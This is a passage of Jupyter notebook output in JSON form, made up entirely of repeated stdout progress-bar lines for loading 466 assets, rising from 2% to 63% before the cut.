assets: [ ] 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 2%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 3%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [ ] 4%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 5%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 6%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 7%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 8%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [= ] 9%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 10%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 11%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 12%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 13%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [== ] 14%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 15%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 16%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 17%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 18%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=== ] 19%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 20%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 21%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 22%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 23%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [==== ] 24%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 25%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 26%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 27%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 28%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [===== ] 29%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 30%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 31%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 32%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 33%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [====== ] 34%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 35%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 36%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 37%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 38%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======= ] 39%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 40%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 41%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 42%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 43%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [======== ] 44%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 45%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 46%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 47%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 48%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========= ] 49%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 50%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 51%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 52%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 53%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [========== ] 54%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 55%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 56%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 57%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 58%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [=========== ] 59%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 60%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 61%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 62%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 63%" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "\r", "- Loading 466 assets: [============ ] 